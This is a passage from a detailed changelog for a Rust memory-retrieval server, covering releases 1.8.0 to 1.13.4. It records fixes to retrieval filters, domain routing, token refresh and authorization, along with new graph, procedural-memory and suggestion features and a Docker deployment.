  • The gauge was emitting System::used_memory() (system-wide used memory) while its HELP text claims “Process RSS in MiB”. On a busy host the value was ~50x the process’s real footprint (live: ~10,485 MiB reported vs ~181 MB actual, per ps), so Prometheus consumers of the capacity story were misled and the 320 MiB envelope was invisible in metrics. It now calls the same process_rss_mib() used by the /health capacity envelope (main.rs), so /metrics and /health agree on the same number.
  • Added process_rss_mib_reports_plausible_process_footprint regression test (bounds the gauge to a process-scale value, not host-scale).

[1.13.4] — 2026-08-06

Release notes

  • Recall source filter: a query-string ?source= on recall was silently ignored — callers got 200 OK unfiltered while believing they had filtered. It is now honored and validated, matching search.

Improvements

  • Unknown source values are now rejected with 422 before any search work; a body value still wins when both are supplied.

Engineering record

POST /recall query-string source parity.

  • POST /recall now honors and validates a query-string ?source=, matching GET /search. Previously the handler read source from the JSON body only (no Query<> extractor), so ?source= was silently ignored — ?source=web returned 200 unfiltered instead of 422, and a caller could get unfiltered results thinking they had filtered. Body source still wins when both are present; the query string fills in when the body omits it; an unknown value in either is rejected with 422 via the shared resolve_source_filter parser (src/search/query.rs). Harmless for the plugin (it sends a body); closes the consistency gap between the two retrieval endpoints.

[1.13.3] — 2026-08-06

Release notes

  • Source filter repaired: every documented source value returned 0 hits. Ingest kinds now filter in SQL, retrieval legs filter post-fusion, and invalid values return 422.
  • Honest ingest responses: memory ingest reported an entry count as the chunk id; it now returns real chunk ids, entries added, and duplicates skipped.

Bug fixes

  • domains_searched is now always present on recall responses, no longer missing when there are no hits.

Improvements

  • API docs, MCP schema, and CLI help now match the repaired source-filter contract.

Engineering record

Retrieval source-filter contract repair + ingest response honesty.

  • P0 — the source retrieval filter is fixed for every documented value. POST /recall and legacy GET /search now honor source as documented: ingest kinds (memory | markdown | structured | manual | vault) filter in SQL before ranking; retrieval legs (vector | fts | graph) filter post-fusion on the SearchSource tag; both is unrestricted; any other value (e.g. web) is rejected with HTTP 422 before any DB/embed work. Previously all documented values returned 0 hits — the filter was SQL equality against the ingest-kind column, where leg names exist nowhere, and both is a fusion concept equality can never match. One pure parser (parse_source_filter) is shared by both handlers so the contract and engine cannot drift (src/search/query.rs, src/search/mod.rs).
  • P1 — /ingest/memory returns real chunk ids. The response used to lie: entry_id was the count of entries added, not a chunk id. It now reports chunk_id (first real inserted rowid, null when nothing added), chunk_ids (all inserted rowids), entries_added, and duplicates_skipped. entry_id is kept as a deprecated alias of chunk_id (src/main.rs).
  • P2 — domains_searched is present on every /recall response (empty array when no hits), no longer gated on provenance. Telemetry stays provenance-gated (src/handlers/recall.rs).
  • Docs: sources (plural) is documented as an OR filter over ingest kind (not source URIs); MCP schema, CLI help, plugin type, README, API_CONTRACT, and openapi all reflect the repaired source contract.

No schema migration. Response-shape changes are additive or on the documented-but-broken source contract (422 for invalid values).

[1.13.2] — 2026-08-06

Release notes

  • Recall routing regression: memories moved out of the default domain had become unreachable to standard recall after a domain move; recall now auto-routes to the matching domain with a global fallback.
  • Write contention: concurrent writers could fail immediately with SQLITE_BUSY under load; writes now queue up to 5 seconds.

Improvements

  • Un-routed queries never spill into bulk domains, so one huge domain can no longer swamp working-memory lookups; a kill switch restores legacy global-only recall.
  • /recall accepts explain as an alias for provenance; graph traverse accepts name/entity aliases for start — no more per-endpoint spelling quirks.

Engineering record

Hardening pass (post-1.13.1 review).

  • PRAGMA busy_timeout=5000 on every pool init (src/main.rs main pool, src/domain_registry.rs open_with_migration, src/migration.rs pragma batch). Previously only auth/revocation.rs set a busy timeout, so concurrent writers against POOL_MAX_SIZE=20 connections could fail immediately with SQLITE_BUSY instead of waiting. Write contention now queues up to 5 s.
  • POST /recall accepts explain as an alias for provenance (src/handlers/recall.rs). GET /search had always gated telemetry on explain; /recall used provenance, so the same intent needed two flag names depending on the endpoint. Both spellings now work on /recall.
  • GET /graph/traverse accepts name/entity as aliases for start (src/main.rs TraverseQuery). Docs canon is start (openapi.yaml, README), but the response field is entity and sibling routes use name/entity, so callers can now mirror the field back. Back-compat preserved.

“Recall” fix — automatic retrieval routing (v1.15.0 M1 hotfix).

Shim-mode recall previously never centroid-routed: src/handlers/recall.rs had a None if !multi_db short-circuit that searched the global pool only. After v1.13.0 moved rows into a non-global label (gutmindsynergy), those rows became unreachable by the default recall the agent uses each turn (a k.domain='global'-scoped search) — a regression introduced by the relabel migration. This hotfix makes routing automatic on retrieval in shim mode too:

  • Automatic centroid routing on recall. The routed domain is searched primarily, plus a global rescue leg (the real working-memory corpus). An un-routed query (below DOMAIN_CONFIDENCE_THRESHOLD) scopes to global and never federates into a bulk domain — so a 90%-of-rows domain can no longer swamp working-memory queries. Pure helper shim_routing_targets().
  • Kill switch BRAIN_RECALL_ROUTING_ENABLED (default on). Set to false to restore the exact pre-v1.13.1 shim behavior (global-only, no routing) without a rebuild.
  • 3 new unit tests. Live-verified: a blog query now returns the moved gutmindsynergy rows (domains_searched: ['global','gutmindsynergy']); working-memory queries stay in global; the kill switch reproduces legacy ['global'].

[Unreleased]

Deployment — Docker image + compose (enterprise plan A1) and proxy-SSO guide (B1)

First container story for brain-server (Round 26 enterprise plan, §33):

  • Dockerfile — multi-arch (linux/amd64 + linux/arm64), debian:bookworm-slim runtime, non-root brain user, read_only rootfs + tmpfs, cap_drop: ALL, no-new-privileges, /health healthcheck. The embedding model (minishlab/potion-retrieval-32M) is baked into the image at build time in the exact hf-hub cache layout (HF_HOME=/opt/brain-model), so the container boots offline — no HuggingFace call at first start; pinned revision via HF_COMMIT build arg for reproducibility. Loopback-safe default preserved (BIND_HOST=127.0.0.1; BIND_PUBLIC=1 required for public binding).
  • docker-compose.yml — brain-server service (loopback-published 127.0.0.1:8765, ./data volume for DB/keys/token, healthcheck, read-only + hardened) and an oauth2-proxy service behind the sso profile (OIDC, Entra/Okta/Keycloak/Auth0-ready). docker compose up -d = pilot online in minutes; docker compose --profile sso up -d adds the SSO edge.
  • docs/docker.md — image facts, build, run, compose, web-client mount, container backup/restore via the in-image brain CLI.
  • docs/proxy-sso.md — reverse-proxy SSO guide: why proxy SSO (server is a token validator, not an OIDC RP), OAuth2-Proxy / Caddy forward-auth / Authentik options, JWT passthrough, IdP matrix, principal handoff, honest limits (native OIDC RP = v1.20 B2).
  • Docs index + README quick start updated with the Docker path.

No version bump — lands under [Unreleased] until the v1.19.0 release ceremony.

[1.13.1] — 2026-08-06

Release notes

  • Memories moved to another domain became unreachable: default recall never routed by domain in single-database mode, so rows relocated by the 1.13.0 domain-move tool were invisible to the agent’s every-turn recall. Routing now works in both modes (matched domain first, with a global rescue leg), and a kill switch restores the exact previous behavior.

[1.13.0] — 2026-08-06

Release notes

  • Auto-routing actually works: ingest never auto-routed (an omitted domain always fell to the default) and domain centroids were computed from a stale legacy table, leaving them effectively empty — nearly everything piled into one domain.

Improvements

  • Ingest now auto-routes each memory against live domain centroids; an explicit domain still wins, with no extra embedding work.
  • Bulk domain moves: relabel chunks into a target domain in one transaction, with guards against accidental default-domain drains; CLI included.
  • Centroid rebuild: a one-shot recompute of every domain centroid from correct data, cleaning up emptied domains; CLI included.

Engineering record

“Route” — real domain auto-routing (root-cause fix + relabel migration).

Fixes the domain-routing lie that shipped at v1.0: ingest never auto-routed (an omitted domain always fell to global), and recompute_centroid read the frozen legacy embeddings JSON table (2 rows since v0.9.0) so every centroid was ~empty. Live DB was 99% in global. This release makes auto-routing real and gives the operator a non-re-ingest migration path. No schema migration — knowledge.domain, domain_centroids, and vec_knowledge all already exist.

Changes

  • M1 — centroid source fixed (src/domain_router.rs): new read_domain_vectors reads vec_knowledge (matching find_near_duplicates) joined to knowledge with valid_to IS NULL (superseded chunks excluded), dequantized via decode_embedding. recompute_centroid uses it. The old code read the frozen embeddings table, silently zeroing every centroid.
  • M2 — ingest auto-routing (src/handlers/ingest.rs + domain_router.rs): route_domain_label(forced, embedding, centroids) — an explicit domain wins; otherwise the chunk embedding (already computed for insert) is auto-routed against the stored centroids, falling back to global with no confident match. Zero extra embedding work; deterministic (same route() recall uses).
  • M3 — POST /domains/move (src/handlers/domains.rs): bulk-relabel chunks into a target domain in ONE transaction (provenance fields untouched), then recomputes affected centroids. Guards: to may not be global; draining global requires ?confirm=global (typo-replay); every id must exist; bounded by MAX_MULTI_GET. brain domain-move <id>... --to <domain> [--confirm global] CLI.
  • M4 — POST /domains/recompute (src/handlers/domains.rs + domain_router.rs): one-shot sweep of every known domain’s centroid from the corrected source, cleaning stale centroids for emptied domains. DOMAIN_MIN_COUNT knob (default 1 — a no-op unless raised) suppresses sub-N domains. brain domains-recompute CLI.
  • Deployment runbook (order matters): deploy → run domains-recompute immediately → domain-move keyword passes → verify domains_searched.

Verification

  • cargo test --features bench,migrate: 477 passed, 1 ignored.
  • cargo clippy --all-targets --features bench,migrate -- -D warnings: clean.
  • cargo fmt --check: clean.

[1.12.2] — 2026-08-04

Release notes

  • Refresh-token race closed: two concurrent replays of the same refresh token could both mint access tokens, silently defeating reuse detection; presentations now serialize and the token family burns exactly once.
  • Database stack upgraded: bundled SQLite 3.51 → 3.53 with tokenizer hardening and security fixes; rusqlite, sqlite-vec, and r2d2 refreshed.
  • Advisory hygiene: the one unfixable RSA timing advisory is formally documented and accepted (no fixed release exists anywhere); EdDSA keys avoid RSA entirely.

Engineering record

“Harden” — audit-fix release (refresh-race serialization + dependency bumps + green CI).

Deep-stability audit of v1.12.1 surfaced one security race, one stale dependency stack, and one permanently-red CI job. All three closed.

Changes

  • /auth/refresh check-then-act race fixed (src/auth/revocation.rs): record_refresh_use + rotate_chain ran as two separate steps, so two concurrent presentations of the SAME refresh token could both read current_jti == presented, both pass, and both mint — silently defeating reuse detection. New record_and_rotate runs the check + rotation under BEGIN IMMEDIATE: presentations serialize, the loser is detected as reuse, and the family is burned exactly once (the burn is committed even when the error is returned). Mutation-proven by concurrent_refresh_serializes_exactly_one_winner (removing the BEGIN IMMEDIATE makes it fail).
  • Database stack bumped: rusqlite 0.38.0 → 0.40.1, sqlite-vec 0.1.6 → 0.1.9, r2d2_sqlite 0.32.0 → 0.35.0. Bundled SQLite rises 3.51.1 → 3.53.2 (fts3_tokenizer hardening + CVE-2022-35737-related security fixes). The v1.11.0-comment concern (savepoint_with_name(&mut self)) is unused — the codebase uses raw-SQL SAVEPOINT (v1.1.2). sqlite3_vec_init FFI unchanged.
  • CI cargo audit job turned green: the sole red job since v1.12.1 was RUSTSEC-2023-0071 (rsa 0.9.10 “Marvin” timing sidechannel). Verified 2026-08-04 that no fixed release exists anywhere (rsa 0.10.0-rc.18 and jsonwebtoken 11 both still depend on the affected rsa). Accepted with documentation in .cargo/audit.toml (local-daemon timing model, 0600 keys, EdDSA keys avoid RSA entirely since v1.2); rows added to SECURITY.md + THREAT_MODEL.md. Two unmaintained-crate warnings remain (number_prefix, paste — transitive via model2vec-rs/tokenizers, no failing impact).
  • Docs: README/CHANGELOG/AGENTS version bump; .cargo/audit.toml created.

Verification

  • cargo test --features bench,migrate: 466 passed, 1 ignored (was 465; +1 race regression test).
  • cargo clippy --all-targets --features bench,migrate -- -D warnings: clean.
  • cargo fmt --check: clean. cargo audit: exit 0.
  • cargo build --release --features bench,migrate: all 5 binaries clean.

[1.12.1] — 2026-08-04

Release notes

  • Authorization completed: ~20 routes (search, stats, get, multi-get, graph, metrics, audit, connectors, and more) relied on “any valid token passes”; every route now enforces its intended read/write/admin action.

Security fixes

  • Reindex and memory deletion were writer-level actions; both are now admin-only.
  • Audit tenant isolation: principals can only read their own tenant’s audit rows — cross-tenant requests are rejected.

Engineering record

“Harden” — AuthZ wiring completion (closes the v1.2 S1 audit finding).

The v1.2.0 AuthZ layer shipped with authorize() called from ~15 handlers and 20 routes unwired — every one of those relied on the middleware’s “any valid bearer passes” alone. This release completes the wiring: every non-public route now enforces its §3.3 matrix action at handler entry.

Changes

  • 20 previously-ungated handlers wired with the matrix action:
    • Read: GET /search, GET /stats (domain-scoped), GET /get/{id}, POST /multi-get, GET /graph/entity/{name}, GET /graph/relations, GET /graph/traverse (all X-Brain-Domain-scoped), GET /quarantine, GET /metrics, POST /recall (domain-scoped), POST /verify (domain-scoped), POST /consolidate/propose, GET /connectors, GET /domains, GET /suggest/metrics, GET /procedure/{id}/steps
    • Write: POST /v1/embeddings
    • Admin: GET /audit, GET /audit/verify, POST /auth/revoke (the route comment always said “requires admin auth” — now enforced)
  • Two actions upgraded to the matrix: POST /reindex and DELETE /memory/{id} were Write; §3.3 puts both on the Admin surface.
  • /audit tenant scoping: new handlers::audit_scope() — a principal can only ever read its own tenant’s rows; requesting another tenant’s filter is a 403 (the matrix’s “cross-tenant forbidden”). Superuser (None principal, opaque mode) keeps the v1.1 passthrough.
  • AuthHandlerError::forbidden() for the revoke gate.

Tests (+5 → 465 passed, 1 ignored)

  • authz_gates_cover_every_non_public_route — a 40-route contract table (mirrors test_openapi_covers_routes) whose source-scan asserts every handler body calls authorize() with the matrix action. Mutation-proven: a wrong action in the table fails the test. A route shipped without a gate fails it too.
  • auth_middleware_enforces_presentation_and_public_bypass + jwt_middleware_requires_jws_in_jwt_mode — router-level middleware tests (new tower dev-dep, already in the lock): missing/wrong token → 401, valid opaque token → pass, public + /webhooks/* bypass, JWT mode 401s without a valid JWS.
  • audit_scope_forces_own_tenant_and_blocks_cross_tenant + audit_scope_none_principal_passes_requested_tenant_through.

Back-compat (unchanged behavior in default mode)

  • None principal = superuser: opaque-token mode has no tenants, so every existing install keeps working with zero config change. In JWT mode, opaque tokens are already rejected by the JWT layer, so the superuser path is unreachable there.
  • /webhooks/{kind} remains HMAC-verified inside the handler (GitHub cannot present a brain bearer token) — by design, not a gap.
  • Public routes (/health, /ready, /version, /openapi.yaml, /.well-known/*, /auth/refresh, /auth/logout) stay gate-free.

Honest ceilings (carried into v2.0)

  • The wiring-guard table is hand-maintained (same convention as the OpenAPI coverage test): a new route needs a table row + a gate, or the test fails.
  • ?cross_domain=true on /graph/traverse gates on the base domain only.
  • Distributed revocation, hot key reload, EC/Ed JWKS emission remain v2.1+ (unchanged from v1.2).

[1.12.0] — 2026-08-03

Release notes

  • Graph ranking corrected: tag/alias edges no longer outrank true semantic relations around mixed hubs.
  • Noise-aware graph search: taxonomy edges (tags, aliases) now weigh far less than semantic relations, and mega-hub influence is damped.
  • Graph rescue: on hard queries that would otherwise come back empty, one bounded graph pass runs automatically before abstaining; a kill switch restores the old abstain-only behavior.

Improvements

  • Telemetry now shows when a graph rescue fired, so quality is observable.

Engineering record

“Discern” — noise-aware graph retrieval + complexity-gated activation (light cut, roadmap-compliant).

The v1.11.0 graph leg learns to discern: taxonomy edges (tagged_with / alias_of — 94% of the live corpus’s 2376 edges) weigh 0.1 against semantic relations, mega-hub outflow is damped (GAAMA θ = 50), and the graph leg is auto-engaged exactly when the query is hard — a ClarifyQuery query gets one bounded graph pass before the v1.5.0 abstention path gives up. No LLM, no new schema, no re-ingest, no embeddings in the graph leg — pure arithmetic over the existing tables at query time. Research basis: GAAMA (arXiv:2603.27910), MemORAI (arXiv:2605.01386), “Use Graph When It Needs” (arXiv:2602.03578); their arithmetic only — LLM extraction parts forbidden per the plan.

Added

  • src/search/graph_ppr.rs: type_base_weight() — tagged_with/ alias_of → 0.1, semantic types → 1.0, applied at aggregation (the pair SQL now groups by relation_type; the weighted sums feed build_graph unchanged); SparseGraph::dampen_hubs(θ) — per-source-node w_ij · min(1, θ/deg(i)), θ = 50, applied to the reachable-bounded graph before PPR. Both deterministic, bounded by the existing MAX_VISITED/ MAX_PPR_ITER caps, #![deny(unsafe_code)].
  • Complexity-gated graph rescue (src/search/mod.rs + src/handlers/recall.rs): when the calibrated estimator says ClarifyQuery and the caller did not enable graph, one bounded graph-augmented pass runs and fuses via the shared RRF two-pass fuse; abstention is re-scoped to the final outcome (low_confidence only when ClarifyQuery AND zero hits). Strictly additive — the rescued path previously returned empty hits.
  • should_attempt_graph_rescue() — pure gate (recommendation, explicit graph, kill switch); config::brain_graph_rescue_enabled() behind BRAIN_GRAPH_RESCUE_ENABLED (default true; false restores exact v1.11.0 abstention). RetrievalStrategy::HybridGraph + SearchTelemetry.graph_rescued for observability; brain query telemetry prints it.
  • fuse_pass_lists() — the two-pass RRF fuse extracted from fuse_prf_passes (which is now a thin wrapper adding prf_expanded); the graph rescue reuses it without claiming PRF expansion.

Changed

  • recall.rs abstention_decision(recommendation, hits_empty): abstains only on ClarifyQuery with an empty final hit list (v1.5.0 contract preserved on the non-rescue path).
  • OpenAPI → 1.12.0 (graph_rescued on SearchTelemetry); README, ROADMAP, AGENTS updated.

Fixed

  • Nothing regressed: the v1.11.0 unweighted graph ranked the tagged_with cloud above semantic neighbors on mixed hubs — pinned by graph_retrieve_weights_semantic_over_tag_cloud (verified: fails on the old arithmetic).

Tests

  • 460 passed / 1 ignored (was 455; +5: type_base_weight_downgrades_taxonomy_noise, hub_dampening_scales_heavy_hubs_but_not_light, graph_retrieve_weights_semantic_over_tag_cloud, should_attempt_graph_rescue_matrix, graph_rescue_fuse_does_not_mark_prf_expanded + the abstention test’s rescue arm). clippy -D warnings + fmt clean.

[1.11.0] — 2026-08-03

Release notes

  • Graph retrieval leg (opt-in): personalized PageRank over the entity knowledge graph joins lexical + vector search, answering multi-hop association questions those two legs can’t bridge.

Improvements

  • Runs concurrently on its own connection with zero added latency when off; per-hit provenance shows the graph rank.
  • Enabled per request on search and recall, plus a CLI flag. No LLM, no schema change, no re-ingest.

Engineering record

“Associate” — HippoRAG-2-style graph retrieval (light cut, roadmap-compliant).

Deterministic Personalized PageRank over the existing entities/relationships knowledge graph as a third, opt-in RRF leg (?graph=true / --graph) on /search + /recall. Targets the multi-hop association gap that lexical+vector retrieval cannot bridge. No LLM, no new schema, no embeddings in the graph leg, < 5W — the low-power manifesto holds.

Added

  • src/search/graph_ppr.rs (pure safe Rust, #![deny(unsafe_code)]): a sparse undirected weighted entity graph (SparseGraph), deterministic query→entity seeding via the existing linker vocabulary (case-insensitive exact name containment), power-iteration personalized PageRank (π = (1−α)s + α·Pᵀπ, α = 0.5 matched to the HippoRAG 2 config default, L1 convergence at 1e-6, bounded at MAX_PPR_ITER = 50), reachability pruning capped at trace::MAX_VISITED = 256, and seed→chunk expansion via relationships.knowledge_id with the same flagged=0/valid_to IS NULL visibility rules as the other retrievers.
  • Third RRF leg: SearchSource::Graph, Provenance.graph_rank, SearchTelemetry.graph_ms/graph_candidates, and a 3-way rrf_fuse (the same formula, same RRF_K = 60). The graph leg runs concurrently on its own pooled read connection inside the existing std::thread::scope; the disabled path pays zero latency (graph_ms = 0).
  • Opt-in plumbing: graph: bool on SearchFilters, QueryDoc, RecallRequest, GET /search SearchParams, and brain query --graph.
  • 4 plan verifications: ppr_ranks_connected_entities_higher_than_unrelated, ppr_seed_from_query_uses_exact_entity_names, rrf_fuses_graph_leg_with_vector_and_fts, ppr_bounded_by_max_visited, plus the self-loop/zero-weight guards.

Verification

  • cargo test --features bench,migrate: 455 passed, 1 ignored (was 447).
  • cargo clippy --all-targets --features bench,migrate -- -D warnings: clean.
  • cargo fmt --check: clean.
  • Live smoke on a copy of the live 8538-doc DB: graph=true returns graph_candidates=107–112, graph_ms≈4ms; exact entity-name queries seed the graph leg and surface source=graph / both hits that the vector+lexical legs miss (e.g. acme_v17c_1785593852 ceo → the dave works at acme_v17c + acme_v17c ceo is carol pair at graph_rank 0/1).

Honest ceilings (carried into v2.0)

  • Live two-hop quality is corpus-bound: on the live 8538-doc DB, ~94% of KG edges are tagged_with taxonomy noise; the graph leg still retrieves but the cleanest multi-hop paths are the synthetic dave/acme/carol bench fixture. The mechanism ships; corpus quality is an operator concern.
  • No DPR passage scores in the seed (the plan forbids an embedding in this leg) — PASSAGE_NODE_WEIGHT = 0.05 documents the upgrade path.
  • classify remains a deterministic keyword router, not a learned classifier.
  • /suggest still lacks principal/tenant scoping (S1 from the v1.9.1 audit); authorize() remains unwired — v2.0 multi-tenancy work.

[1.10.0] — 2026-08-02

Release notes

  • Classification keyword bug: the winning category’s matched-keywords list was pulled from the wrong lexicon (e.g. HIPAA reported without PII); it is now correct and auditable.
  • Procedural memory: ingest a procedure with up to 100 ordered steps in one call; steps remain searchable even if embedding fails, and the ordered chain is fetchable with kinds normalized.
  • Deterministic categorization: classify text into a taxonomy with confidence and matched keywords — no LLM, no cloud.
  • Decision rules: store JSON decision rules and evaluate them against numeric variables; first matching branch wins, with a citation chain.
  • Memory kinds: fact/procedure/step/decision taxonomy; legacy ‘event’ rows relabeled to fact.

Engineering record

“Procedural” — ordered steps + deterministic categorization + decision rules (the finalized v1.10.0 cut on top of the v1.9.1 hotfix base).

Added

  • POST /procedure (src/handlers/procedure.rs) — ingest a procedure root chunk + up to 100 ordered steps in ONE transaction. Steps are stored as their own chunks (node_kind = step / decision) linked to the root via next_step edges carrying an explicit step_index (Graphiti’s NextEpisodeEdge pattern at chunk level, reusing the v0.9.8 evidence_links table). Embeddings are written best-effort after commit — a failure never undoes the ingest (FTS5 keeps the chunks retrievable).
  • GET /procedure/{id}/steps — the ordered step chain for a procedure, each step exposing its normalized memory_kind. The read path runs through MemoryKind::from_str so an unknown stored kind falls back to fact (forward-compat contract, now live code instead of a dead fn).
  • POST /classify — deterministic keyword-router categorization (Mem0’s premium feature, free): category + confidence + matched keywords (auditable)
    • the full taxonomy. general with confidence 0.0 when no keyword clears the threshold. No LLM, no cloud.
  • POST /decision/{id}/evaluate — load the decision rule stored as JSON on a decision-kind chunk and evaluate it against numeric variables. First matching branch wins; otherwise the rule’s default_branch. Returns the outcome + citation chain. Pure rule engine (no LLM).
  • knowledge.node_kind repurposed as the Mem0-style memory_kind (fact/procedure/step/decision). Legacy 'event' rows relabeled to 'fact'; the column default is now 'fact' for fresh DBs. Schema stamp → 1.10.0.

Fixed

  • classify matched-keywords bug (src/procedural.rs) — the winning category was correct but its keyword list came from the wrong lexicon: the lookup used the sorted scores slot as the LEXICON index, and after sort_by that slot no longer matches the category. Resolved via the CATEGORIES position (shares LEXICON ordering). Pinned by classify_detects_compliance (HIPAA + PII now both reported).

Notes

  • Pre-v1.10 DBs keep their 'event' column default (SQLite can’t ALTER a column default without a table rebuild); the startup relabel + the read-path normalization make the gap cosmetic, not functional — see the ponytail: comment in run_migration.
  • Still no background worker and no auto-consolidation — procedures, steps, and decisions are explicit, operator- or agent-authored writes.

[1.9.1] — 2026-08-02

Release notes

  • Near-duplicate scan fixed: it read a frozen legacy table and silently covered 2 of ~8,500 live chunks; it now scans the real vector index end to end.
  • Feedback deduplication: client retries or replays double-counted suggestion feedback, poisoning false-positive metrics; feedback is now last-wins per suggestion per session, with existing duplicates cleaned up.

Bug fixes

  • Removed a misleading explanation-path code path that collected ids it never used; its docs now match actual behavior.

Engineering record

Bug-fix release on top of v1.9.0 (post-release security + correctness audit of v1.7.0–v1.9.0). Three fixes, no new features.

Fixed

  • Near-duplicate detection now covers the live corpus (consolidate.rs). v1.8.0’s find_near_duplicates JOINed the legacy embeddings JSON table, which froze at v0.9.0 — production ingests write only vec_knowledge, so on the live DB the scan silently covered 2 of 8538 chunks. It now reads embedding_int8 from the vec0 index and dequantizes via the (previously dead) decode_embedding helper. Regression test ingests two near-identical chunks through the real vec_quantize_int8 path (zero embeddings rows) and asserts they are proposed.
  • Suggest feedback is last-wins per (chunk_id, session) (suggest.rs). The v1.9.0 ledger was append-only with no idempotency: a client retry or replay recorded duplicate rows, poisoning the false-positive metric that is the v1.9 roadmap exit criterion. A unique expression index on (chunk_id, COALESCE(session, '')) + an upsert make feedback one signal per surfaced suggestion per session; a changed mind overwrites instead of double-counting. Pre-existing duplicates are deduped before the index is created. Schema stamp 1.9.0 → 1.9.1.
  • Removed misleading dead code in build_explanation_paths (main.rs). The v1.7.0 doc comment claimed intermediate node names were “looked up in a single batched query” — no query ran and the collected id set was never used. The comment is now honest (intermediates surface as ids; agents resolve via /get/{id}) and the dead collection is deleted.

Notes

  • Feedback/metrics tenant scoping stays row-level (tenant_id), not a full authorize() gate, and /suggest returns content without principal scoping — both are safe in the current single-tenant deployment and are carried forward as v2.0 multi-tenancy work (the audit flagged them, not this fix).

[1.9.0] — 2026-08-02

Release notes

  • Anticipation (opt-in pull): send what you’re working on and get relevant memories you haven’t cited yet; superseded and quarantined items are never suggested. No push, no background tracking.
  • Feedback + metrics: record accept/dismiss per surfaced suggestion and query the false-positive rate by session and time window — the feature’s keep-or-remove evidence, made measurable.
  • Kill switch: all suggestion routes can be disabled without a rebuild.

Improvements

  • New CLI commands for suggestions, feedback, and metrics.

Engineering record

“Suggest” — opt-in, non-interrupting anticipation (light cut).

This release is the evidence-gated v1.9 scope sanctioned by IMPLEMENTATION_ROADMAP_v1.5_to_v4.0_EVIDENCE_GATED.md §v1.9, NOT the broader Anticipate plan in IMPLEMENTATION_PLAN_v1.9.0_Anticipate.md (which that roadmap explicitly supersedes — same pattern as v1.5–v1.8). Roadmap v1.9: “an explicit POST /suggest experiment scoped to a session and an accept/dismiss/false-positive metric.” Exit: “opt-in suggestions save measurable time at an acceptable false-positive rate; otherwise the feature is removed.”

Discovery

The full Anticipate plan (M1 sessions table + auto-start, M3 short-poll/SSE push, M4 attention decay, M5 personalization vector) is forbidden by the roadmap’s “Do not ship” list (“unsolicited push, ranking decay, hidden personalization, or SSE by default”). The only surviving scope is the opt-in pull + the false-positive metric. The session concept survives in its client-owned form (Mem0 run_id pattern): the caller passes an opaque session string; the server never auto-tracks, auto-expires, or auto-embeds a session.

Shipped

  • POST /suggest — opt-in anticipation pull. Caller supplies explicit context (what they’re working on); server embeds it via the existing StaticModel, runs vec0_knn with an over-fetch equal to k + exclude.len(), filters out the caller-supplied exclude ids, truncates to k, and tags every hit provenance.reason = "anticipated". Reuses the v1.6.0 valid_to IS NULL default filter, so superseded chunks are never suggested, and the v0.9.7 flagged-row exclusion, so quarantined chunks are never suggested. No new state, no background work, no push.
  • POST /suggest/feedback — Mem0-style accept/dismiss per surfaced chunk (feedback: accept|dismiss, optional hashed reason, optional session). Validates the chunk exists (404 on typo so the metric isn’t poisoned). Tenant-scoped via the JWT principal. The suggest_feedback table IS the audit surface (append-only, hash-of-reason, tenant-scoped) — no duplicate audit_events row is written.
  • GET /suggest/metrics — the false-positive rate (dismisses / total) over the feedback ledger, with optional session / since window filters. This IS the roadmap exit criterion, made queryable. Tenant-scoped.
  • BRAIN_SUGGEST_ENABLED kill switch (default true). When false, all three routes return 501 Not Implemented — the roadmap’s “otherwise the feature is removed” guarantee, without a rebuild.
  • CLI: brain suggest, brain suggest-feedback, brain suggest-metrics.
  • Migration: additive suggest_feedback table + schema_version = 1.9.0 (was 1.4.0; v1.5–v1.8 were light cuts with no schema change).
  • OpenAPI → 1.9.0: three routes + SuggestionHit/SuggestTelemetry/ SuggestMetrics schemas. test_openapi_covers_routes extended.

Deferred (per evidence-gated roadmap)

  • M1 sessions table + auto-start + 30-min window + running embedding mean — “hidden personalization.” The server must not auto-track sessions.
  • M3 short-poll /events + SSE push — “unsolicited push” + “SSE by default.” /suggest is an explicit pull; the agent asks.
  • M4 attention decay + spaced-repetition — “ranking decay.” Feedback is purely a measurement signal; it never boosts or demotes retrieval.
  • M5 personalization vector — “hidden personalization.” No per-tenant bias vector; /recall ranking is unchanged.

Verification

  • cargo test --features bench,migrate: 428 passed, 1 ignored (was 414 at v1.8.0; +14 = 12 pure-function tests in suggest.rs + 2 integration tests in main.rs).
  • cargo clippy --all-targets --features bench,migrate -- -D warnings: clean.
  • cargo fmt --check: clean.
  • cargo build --release --features bench,migrate: all 5 binaries clean.
  • Live end-to-end smoke (after scripts/install-service.sh, pid 17967): /suggest returns anticipated chunks (excluded ids correctly dropped, telemetry accurate); /suggest/feedback records accept+dismiss; /suggest/metrics?session= returns false_positive_rate: 0.5 (1/2); BRAIN_SUGGEST_ENABLED=false → all three routes return 501 while /version stays 200 (kill switch proven live).

Honest ceilings (carried into v2.0)

  • No semantic anticipation. /suggest is KNN-over-context with exclusions, not a learned next-query predictor. The “anticipated” label is a contract marker, not a model output.
  • Session is client-owned. The server stores the opaque string but does no session-boundary detection, no timeout, no embedding mean. Cross-session metrics require the caller to label consistently.
  • accept/dismiss is binary. Mem0’s VERY_NEGATIVE is collapsed; a future “report-as-harmful” path is v2.x.
  • Metrics are per-process. The query scans suggest_feedback live; no rollup materialization. Bounded by the (tenant_id, ts) index.
  • Feedback is not retrieval-affecting. No boost, no decay — the roadmap forbids it. The signal is purely for the operator’s false-positive measurement.
  • Near-duplicate / cross-domain suggest deferred (per-domain only, like the rest of the retrieval stack).

[1.8.0] — 2026-08-01

Release notes

  • Undo: reverse a supersession resolution atomically and idempotently (batch-safe, audited) — the expired fact becomes current again with no retrieval regression.
  • Stale-source detection: vault files that no longer exist on disk are flagged for operator review; nothing is auto-archived or deleted.
  • Near-duplicate detection: semantically near-identical chunk pairs (cosine > 0.95) are surfaced in consistency proposals, capped at 50 pairs per run.

Improvements

  • Both new checks surface in the consistency proposals and the CLI report; maintenance stays operator-triggered by design.

Engineering record

“Maintain” — reviewable proposals + undo (light cut).

This release is the evidence-gated v1.8 scope sanctioned by IMPLEMENTATION_ROADMAP_v1.5_to_v4.0_EVIDENCE_GATED.md §v1.8, NOT the broader v1.8.0 plan in IMPLEMENTATION_PLAN_v1.8.0_Consolidate.md (which that roadmap explicitly supersedes). Roadmap v1.8: “duplicate and stale- source proposals, resumable batches, review UI/API contract, and recovery rehearsal.” Exit: “reviewers accept proposals at a measured precision target, and reject or undo them without retrieval regression.”

Discovery

The exact-duplicate + subject-conflict + unresolved-contradiction detectors already shipped in v0.9.8 / v1.6.0 (via /consolidate/propose). The single missing pieces for the exit criterion: (1) stale-source detection (vault files that no longer exist on disk), (2) near-duplicate detection (semantic, not just exact-hash), and (3) undo — the “reject or undo them without retrieval regression” arm.

Shipped

